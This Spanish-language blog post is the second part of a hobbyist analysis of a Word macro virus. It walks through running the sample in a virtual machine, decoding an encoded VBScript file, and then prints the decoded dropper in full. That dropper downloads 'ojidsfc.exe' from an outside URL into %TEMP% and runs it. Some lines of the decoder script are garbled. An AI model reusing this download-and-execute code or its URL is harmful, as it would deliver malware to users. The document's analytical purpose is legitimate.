Analizando Una Muestra De Un Virus De Macro[PARTE 2]

Hola amigos esta es la segunda parte de nuestro análisis de un virus de macro que se expuso en el foro del Hacker Net aquí el link:

http://foro.elhacker.net/analisis_y_diseno_de_malware/virus_de_macro_en_archivo_rtf-t449858.0.html

En esta parte empezaremos ejecutando nuestro archivo .xml ya reparado en una maquina virtual, primero aquí unos enlaces:

Primera Parte:  Ver aqui  y en Video: Ver aqui

Como Crear Una Maquina Virtual:  Parte 1  y Parte 2

ahora como ya tenemos nuestro archivo .xml  reparado lo copiaremos a la carpeta

"CompartidaconVirtualBox" que la tenemos en el escritorio y a nuestro archivo .xml le pondremos el nombre de virus.xml


como ya la tenemos compartida con nuestra maquina virtual pasaremos a ejecutar este archivo dentro de ella y daremos doble clic en el archivo virus.xml

Nota: Deberemos tener el Microsoft Office instalado en nuestra maquina virtual para poder abrir el archivo .xml




ahora ya que lo tenemos abierto tendremos que configurar el Microsoft Word para que ejecute la macro al abrir el archivo, para eso damos clic en


y después en la siguiente ventana elegiremos la ultima opción de abajo y daremos clic en aceptar


ahora cerramos el archivo para volverlo abrir y ahora si esperamos que se ejecute el virus y nos aparece esto

y como ven es un mensaje de error y apunta al archivo "rdFVJHkdsff.vbe" que es un tipo de archivo Visual Script Codificado y este se encuentra en la carpeta temporal.

así que daré clic en aceptar y ahora iré ala carpeta temporal presionando la tecla WINDOWS +  R   y escribo %TEMP%  y doy aceptar




y estos son los archivos que genera




ahora ya que me encuentro aquí copiare el archivo "rdFVJHkdsff.vbe"  a la carpeta que comparto para pasarlo a la maquina anfitrión y analizarlo mas bien

Nota: de aquí en adelante apagare el antivirus ya que este no me dejara abrir el archivo

ya que estoy en la maquina anfitrión lo abro con el Notepad y encuentro lo siguiente




como ven esta codificado, así que usare el código que se encuentra en esta pagina Aqui  para decodificarlo, pero con algunas modificaciones que lee hecho y quedara algo así:


option explicit
Dim oArgs, NomFichier,f
'Optional argument : the encoded filename
NomFichier=""
Set oArgs = WScript.Arguments
Select Case oArgs.Count
Case 0 'No Arg, popup a dialog box to choose the file
'NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
NomFichier="rdFVJHkdsff.vbe"
Case 1
If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
NomFichier=oArgs(0)
End If
Case Else
WScript.Echo "Too many parameters"
End Select
Set oArgs = Nothing

If NomFichier<>"" Then
Dim fso
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(NomFichier) Then
Dim fic,contenu
Set fic = fso.OpenTextFile(NomFichier, 1)
Contenu=fic.readAll
fic.close
Set fic=Nothing

Const TagInit="#@~^" '#@~^awQAAA==
Const TagFin="==^#~@" '& chr(0)
Dim DebutCode, FinCode
Do
FinCode=0
DebutCode=Instr(Contenu,TagInit)
If DebutCode>0 Then
If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then 'If "==" follows the tag
FinCode=Instr(DebutCode,Contenu,TagFin)
If FinCode>0 Then
Contenu=Left(Contenu,DebutCode-1) & _
Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
Mid(Contenu,FinCode+6)
End If
End If
End If
Loop Until FinCode=0
'WScript.Echo Contenu
set f=fso.CreateTextFile("virusfinal.vbs")
f.write(Contenu)
f.close
Else
WScript.Echo Nomfichier & " not found"
End If
Set fso=Nothing
Else
WScript.Echo "Please give a filename"
WScript.Echo "Usage : " & wscript.fullname & " " & WScript.ScriptFullName & " "
End If

Function Decode(Chaine)
Dim se,i,c,j,index,ChaineTemp
Dim tDecode(127)
Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"

Set se=WSCript.CreateObject("Scripting.Encoder")
For i=9 to 127
tDecode(i)="JLA"
Next
For i=9 to 127
ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
For j=1 to 3
c=Asc(Mid(ChaineTemp,j,1))
tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
Next
Next
'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
Set se=Nothing

Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
Chaine=Replace(Chaine,"@$","@")
index=-1
For i=1 to Len(Chaine)
c=asc(Mid(Chaine,i,1))
If c<128 c="" if="" index="index+1" or="" then="">31) and (c<128 c="" if="" then="">60) and (c<>62) and (c<>64) Then
Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison,(index mod 64)+1,1),1) & Mid(Chaine,i+1)
End If
End If
Next
Decode=Chaine
End Function

Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
Dim ShellObject, pstrTempFolder, x
Set ShellObject=WScript.CreateObject("Shell.Application")
On Error Resume Next
Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
If Err.Number<>0 Then BrowseForFolder=""
Set pstrTempFolder=Nothing
Set ShellObject=Nothing
End Function


ahora copiamos este codigo y lo aguardamos en la carpeta donde se encuentra el virus que es la carpeta "CompartidaconVirtualBox" y le pondremos el nombre de "Desencriptar.vbs"  como ven en la imagen


y ahora daremos doble clic al desencriptar y nos crea el archivo "virusfinal.vbs", el cual daremos clic derecho y lo abriremos con el Notepad++



el cual nos muestra el siguiente código:


RTDHJkdsfFd = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
RTDHJkdsfFd = RTDHJkdsfFd & "\"
trDYFUKdsc = "http://house.nochildforgotten.org/michigan/map.php"
HxDxVdXxSDxSF = "ojidsfc.exe"
dim lkjhgfFFfsgb: Set lkjhgfFFfsgb = createobject("Microsoft.XMLHTTP")
dim fNxGxXlsxADAGD: Set fNxGxXlsxADAGD = createobject("Adodb.Stream")
lkjhgfFFfsgb.Open "GET", trDYFUKdsc, False
lkjhgfFFfsgb.Send

with fNxGxXlsxADAGD
.type = 1
.open
.write lkjhgfFFfsgb.responseBody
.savetofile RTDHJkdsfFd & HxDxVdXxSDxSF, 2
end with
Set MNBHGdDwerttwer = CreateObject("Shell.Application")
MNBHGdDwerttwer.Open RTDHJkdsfFd & HxDxVdXxSDxSF


ahora remplazare el nombre de las variables para que se vea mas entendible y quedara algo así:


a = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
a = a & "\"
b = "http://house.nochildforgotten.org/michigan/map.php"
c = "ojidsfc.exe"
dim d: Set d = createobject("Microsoft.XMLHTTP")
dim e: Set e = createobject("Adodb.Stream")
d.Open "GET", b, False
d.Send

with e
.type = 1
.open
.write d.responseBody
.savetofile a & c, 2
end with
Set f = CreateObject("Shell.Application")
f.Open a & c



párese que lo que ase es descargar una aplicación llamada "ojidsfc.exe" y ejecutarla

bueno creo que eso es todo de esta segunda parte, no creo que halla tercera por que lo único que queda de este virus es averiguar la clave de la macro para así ver bien todo el código pero creo que eso es imposible.

bueno saludos Flamer